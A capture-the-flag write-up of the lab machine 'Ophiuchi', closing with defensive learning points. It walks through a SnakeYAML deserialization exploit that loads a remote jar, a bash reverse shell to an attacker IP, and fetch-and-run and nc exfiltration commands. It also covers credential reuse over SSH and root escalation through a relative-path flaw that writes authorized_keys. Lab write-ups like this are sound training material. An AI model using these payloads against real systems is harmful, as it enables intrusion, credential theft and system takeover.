Vulnerabilities/bad configuration exploited
- Unsafe use of SnakeYAML causing a deserialization vulnerability.
- Password re-use.
- Insecure programming - using relative paths for critical files.
Enumerating the network
I started with a basic nmap scan of the target machine:
sudo nmap -sC -sV -oA nmap/ophiuchi 10.10.10.230 -vv
-sC : Load default scripts
-sV : Determine service/version info from open ports
-oA : Output in all formats
-vv : Increased verbosity
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpzM/GEYunOwIMB+FyQCnOaYRK1DYv8e0+VI3Zy7LnY157q+3SITcgm98JGS/gXgdHQ4JnkCcXjUb9LaNRxRWO+l43E9v2b2U9roG8QetbBUl5CjJ0KHXeIwNgOcsqfwju8i8GA8sqQCELpJ3zKtKtxeoBo+/o3OnKGzT/Ou8lqPK7ESeh6OWCo15Rx9iOBS40i6zk77QTc4h2jGLOgyTfOuSGTWhUxkhqBLqSaHz80G7HsPSs1BA9zAV8BOx9WmtpMsgDcNG14JAQQd904RCzgw0OaQ0J6szs78Us8Piec0rF/T4b1H3sbUedOdA0QKgGbNojObVrz5VwOw6rqxbs1gZLePXB5ZNjm0cp+Sen8TkRkdUf7Sgw92B//RhSoIakp1u5eOPs/uJ6hyCholUnerl3WK8NPB9f9ICPYq8PbvVMu6zcytV/cCjwxFloWB989iyuqG/lYcdMhGJlAacOFy5TRcTB8c5Qlmtl44J/4dyuCJAhj5SY6TRdcSxhmz0=
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM79V2Ts2us0NxZA7nnN9jor98XRj0hw7QCb+A9U8aEhoYBcrtUqegExaj/yrxjbZ/l0DWw2EkqH4uly451JuMs=
|   256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO31s/C33kbuzZl9ohJWVEmLsW9aqObU6ZjlpbOQJt0C
8080/tcp open  http    syn-ack ttl 63 Apache Tomcat 9.0.38
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Only ports 22 and 8080 were open.
The http-title detected on port 8080 seemed interesting, so I browsed to http://10.10.10.227:8080 to see what was.

It was a simple YAML parser. However, I got an error message when trying to parse any YAML.

The message left me thinking it should be vulnerable somewhere and so I tried different inputs to try and 'break' the parser. After adding a single  ', an error message was displayed on my screen (due to uneven quotes).

Based on the error message, SnakeYAML library was used, and a little Googling had me learn that a deserialization vulnerability exists on SnakeYAML if not implemented properly.
Unsafe use of SnakeYAML causing a deserialization vulnerability.
Read more: https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/
I started a simple HTTP server so that the target machine will perform a request to me.
# Start python simple HTTP server on port 80.
sudo python3 -m http.server 80
I used the PoC and it worked.
// Copy and paste into YAML parser.
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.77"]
  ]]
]

Next, I weaponized the exploit to get a shell.
Payload: https://github.com/artsploit/yaml-payload
Creating the payload
- Created a simple reverse shell script, choco.sh.#!/bin/sh bash -i >& /dev/tcp/10.10.14.77/8001 0>&1 # Save and exit.
- Modified the code in: yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java. The reason why I placed the output to/tmp/folder was to be safe that my file would be downloaded correctly. And just to be sure, I enabledexecutepermissions on my script once it was downloaded....omitted... public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("curl http://10.10.14.77/choco.sh -o /tmp/choco.sh"); Runtime.getRuntime().exec("chmod +x /tmp/choco.sh"); Runtime.getRuntime().exec("bash /tmp/choco.sh"); } catch (IOException e) { e.printStackTrace(); } } ...omitted...
- Compiled the code.# Compile and build .jar file. javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf payload.jar -C src/ .
Getting initial access
With my payload.jar and HTTP server ready, I sent my malicious request to the YAML parser and got a shell back.
// Modify URL value to get payload.jar, and paste into YAML parser.
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.77/payload.jar"]
  ]]
]

Before I moved on, I upgraded my shell to an interactive one.
# Spawn a partial interactive shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Send process to background.
Ctrl+Z
# Pass keyboard shortcuts and etc. through.
stty raw -echo && fg
# Set TERM environment (To allow clearing terminal screen)
TERM=xtermPrivilege Escalation to admin
I connected to the target machine as tomcat, which had little to no privileges. Thus, I had to find out who in the system had more privileges.
# Get users in system.
cat /etc/passwd | grep "/bin/bash"

root was out of the way for now, so I focused on getting to admin.
Since the target machine was using tomcat, I searched for its configuration files to retrieve tomcat manager credentials.
# Find tomcat directory
find / -name "*tomcat" 2>/dev/null

tomcat was located in /opt/tomcat/. Next I attempted to find the tomcat manager credentials.
Password re-use
tomcat manager credentials are stored in <tomcat_directory>/conf/tomcat-users.xml. And there it was.
<!--Found credentials in tomcat-users.xml-->
...omitted...
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
...omitted...
The username was coincidentally admin, which led me to believe that the password for admin in the system was the same.
I attempted to ssh onto the target machine as admin, and successfully got in.
# SSH to admin user
ssh admin@10.10.10.227
Password: whythereisalimit

With that, I got the User Flag.

Checking sudo permissions
The first thing I did was to check sudo permissions on admin user.
# List all commands user admin could run as sudo.
sudo -l
# Output
...omitted...
User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
admin user could execute a specific golang script, /opt/wasm-functions/index.go as sudo.
I checked the /opt/wasm-functions folder to see the folder permissions.
# Check permissions in folder recursively.
ls -lahR /opt/wasm-functions
-l : Use long listing format
-a : All. (do not ignore entries starting with '.')
-h : Make it more readable
-R : Recursive
# All files and folders owned by root.
/opt/wasm-functions/:
total 3.9M
drwxr-xr-x 3 root root 4.0K Oct 14  2020 .
drwxr-xr-x 5 root root 4.0K Oct 14  2020 ..
drwxr-xr-x 2 root root 4.0K Oct 14  2020 backup
-rw-r--r-- 1 root root   88 Oct 14  2020 deploy.sh
-rwxr-xr-x 1 root root 2.5M Oct 14  2020 index
-rw-rw-r-- 1 root root  522 Oct 14  2020 index.go
-rwxrwxr-x 1 root root 1.5M Oct 14  2020 main.wasm
/opt/wasm-functions/backup:
total 1.5M
drwxr-xr-x 2 root root 4.0K Oct 14  2020 .
drwxr-xr-x 3 root root 4.0K Oct 14  2020 ..
-rw-r--r-- 1 root root   88 Oct 14  2020 deploy.sh
-rw-r--r-- 1 root root  522 Oct 14  2020 index.go
-rwxr-xr-x 1 root root 1.5M Oct 14  2020 main.wasm
Insecure programming - using relative paths for critical files.
I opened /opt/wasm-functions/index.go.
package main
import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)
func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")
        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}
I looked at the main function and noticed that the files included were not in absolute paths. Therefore, I could make my own main.wasm and deploy.sh to get root.
To add, the script would execute deploy.sh only when the result returned from main.wasm is 1. I tried running index.go as sudo, however it did not work. So I assumed that the result wasn't returning 1.
Before creating the exploit, I created a folder called megaman in /tmp/, as I could perform read/write operations.
# Add megaman folder to /tmp/
mkdir /tmp/megamanCreating the exploit
Modifying main.wasm
Read more: https://github.com/WebAssembly/wabt
- 
I downloaded the WABT: WebAssembly Binary Toolkit.# https://github.com/WebAssembly/wabt git clone https://github.com/WebAssembly/wabt.git
- 
Then, I copied main.wasmfrom the target machine to my host machine.# On target machine cat main.wasm | nc 10.10.14.77 9001 # On host machine nc -lvnp 9001
- 
Next, using wasm2watfrom the tookit, i convertedmain.wasmtomain.wat. This allowed me to read/modify its contents../wasm2wat main.wasm -o main.wat -o : output to file
- 
There was a func $infofrommain.wat, which was whatindex.gowas calling, to check if1was returned frommain.wasm. Therefore, I modified thei32.const 0toi32.const 1.# Modified main.wat. (module (type (;0;) (func (result i32))) (func $info (type 0) (result i32) i32.const 1) (table (;0;) 1 1 funcref) (memory (;0;) 16) (global (;0;) (mut i32) (i32.const 1048576)) (global (;1;) i32 (i32.const 1048576)) (global (;2;) i32 (i32.const 1048576)) (export "memory" (memory 0)) (export "info" (func $info)) (export "__data_end" (global 1)) (export "__heap_base" (global 2)))
- 
I then converted the modified main.wattomain.wasmusingwat2wasm, again from the toolkit.# This would create/overwrite main.wasm. ./wat2wasm main.wat
- 
Finally, I transferred the modified main.wasmto the target machine, in themegamanfolder.# On target machine curl http://10.10.14.77/main.wasm -o /tmp/megaman/main.wasm
Creating deploy.sh
- I created a new deploy.shfile in ourmegamanfolder, then added a command to add my host machine's public key to the root'sauthorized_keys.# Create RSA priv/pub key pair. ssh-keygen # Copy contents from ~/.ssh/id_rsa.pub
- I created a new deploy.shfile in ourmegamanfolder, then added a command to add my host machine's public key to the root'sauthorized_keys.#!/bin/sh # Add host machine's public key to target machine's SSH authorized keys. echo "ssh-rsa AA...omitted...Mk= daomaster@primodao" > /root/.ssh/authorized_keys echo $(id) echo "RSA public key successfully added."
Running index.go
Now, my megaman folder had 2 files,
- A modified main.wasm
- A malicious deploy.sh
After making sure that I was in the megaman directory, I executed the sudo command that admin was allowed to run.
 # Change directory to /tmp/megaman
 cd /tmp/megaman
 
 # Run command
 sudo /usr/bin/go run /opt/wasm-functions/index.go

The command would execute and because of relative pathing in the code, it pointed to the main.wasm and deploy.sh I modified/created, located in my current working directory.
I logged in as root via SSH and... pwned.

Learning points
- Update to the application's latest version, if possible.
- Implement proper input sanitization
- Have good cyber hygiene, such as avoiding password re-use.
- Practice secure programming, and use good programming practices.
Afternote
Rated Medium. This machine was rather challenging for me, especially when I could not get my initial shell after testing my scripts. It only dawned upon me that I should have modified the permissions for the shell script to execute.
Getting root was the climax, as I had no experience neither in Golang nor WebAssembly. I had to read the documentations and understand the workflow before understanding how to exploit the vulnerability. The official forum definitely helped giving me nudges for me to progress. Nevertheless, I learnt so much from this machine and it was extremely fun and challenging!
 
             
         
             
            